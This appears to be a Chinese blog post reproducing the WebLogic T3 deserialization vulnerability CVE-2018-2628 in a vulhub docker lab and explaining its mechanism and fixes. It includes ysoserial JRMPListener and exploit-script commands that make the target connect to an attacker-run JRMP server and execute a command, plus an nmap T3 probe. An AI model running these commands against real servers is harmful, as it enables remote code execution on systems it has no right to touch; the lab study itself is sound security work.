weblogic反序列化漏洞的初级理解(二)

前言

接着上篇,这次复现经典的weblogic反序列化漏洞—CVE-2018-2628
属于利用T3协议配合RMP接口反向发送反序列化数据。
同样先利用vulhub快速复现,然后再来看看原理。

漏洞复现

CVE-2018-2628

影响范围:10.3.6.0、12.1.3.0、12.2.1.2、12.2.1.3

docker开启环境

root@kali:/vulhub/weblogic/CVE-2018-2628# docker-compose up -d

浏览器访问localhost:7001/console,出现weblogic的登录界面,说明环境已经搭好了 (╹ڡ╹ )vulhub yyds!
在这里插入图片描述
可以看到weblogic的版本是10.3.6.0
在这里插入图片描述
利用ysoserial启动一个JRMP Server服务监听
这里插一句编译ysoserial注意JDK版本不要过高,建议在1.7u21以下,卡了好久┗|`O′|┛

开启监听,命令执行这里老办法,尝试新建一个shell文件,比较直观

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 端口 CommonsCollections1 "touch /tmp/shell"

使用vulhub提供的exp脚本,为了方便,保存在ysoserial-0.0.6-SNAPSHOT-all.jar同目录下
在这里插入图片描述
执行exp

python CVE-2018-2628exp.py [开启weblogic的IP] [端口] ysoserial-0.0.6-SNAPSHOT-all.jar [开启JRMP Server的IP] [监听端口] JRMPClient

exp开始跑,监听成功
在这里插入图片描述
在这里插入图片描述

exp跑完,进入docker容器查看文件是否创建成功

root@kali:/vulhub/weblogic/CVE-2018-2628# docker-compose exec weblogic bash

复现完成
在这里插入图片描述

漏洞原理

看一下官方的漏洞简介

Oracle WebLogic Server是美国甲骨文(Oracle)公司的一款适用于云环境和传统环境的应用服务器,它提供了一个现代轻型开发平台,支持应用从开发到生产的整个生命周期管理,并简化了应用的部署和管理。WLS Core是其中的一个核心组件。 Oracle WebLogic Server中的WLS核心组件存在远程代码执行漏洞。攻击者可通过远程发送攻击数据,借助T3协议在WebLogic Server中执行反序列化操作利用该漏洞执行代码。

首先需要搞懂啥是T3协议

T3协议:WebLogic Server 中的 RMI(远程方法调用)通信使用 T3 协议在 WebLogic Server 和其他 Java 程序(包括客户端及其他 WebLogic Server 实例)间传输数据。
JRMP Server服务:java远程消息交换协议

利用nmap快速检测T3协议是否开放

nmap -sV IP --script=weblogic-t3-info.nse -p 7001

大致流程
在这里插入图片描述

结合exp来看
主函数很短,接收JRMP参数,执行exploit函数
在这里插入图片描述
exploit中,看名字t3_handshake和build_t3_request_object应该是建立T3连接,generate_payload应该是序列化数据,send_payload_objdata自然就是发送数据包了
在这里插入图片描述
发送T3协议头数据包
在这里插入图片描述
构造序列化数据包并发送
在这里插入图片描述

修复建议

打补丁
对T3协议进行访问控制

参考

https://www.cnblogs.com/afanti/p/10256840.html
https://blog.csdn.net/u014715599/article/details/85256193

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Redredredfish

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值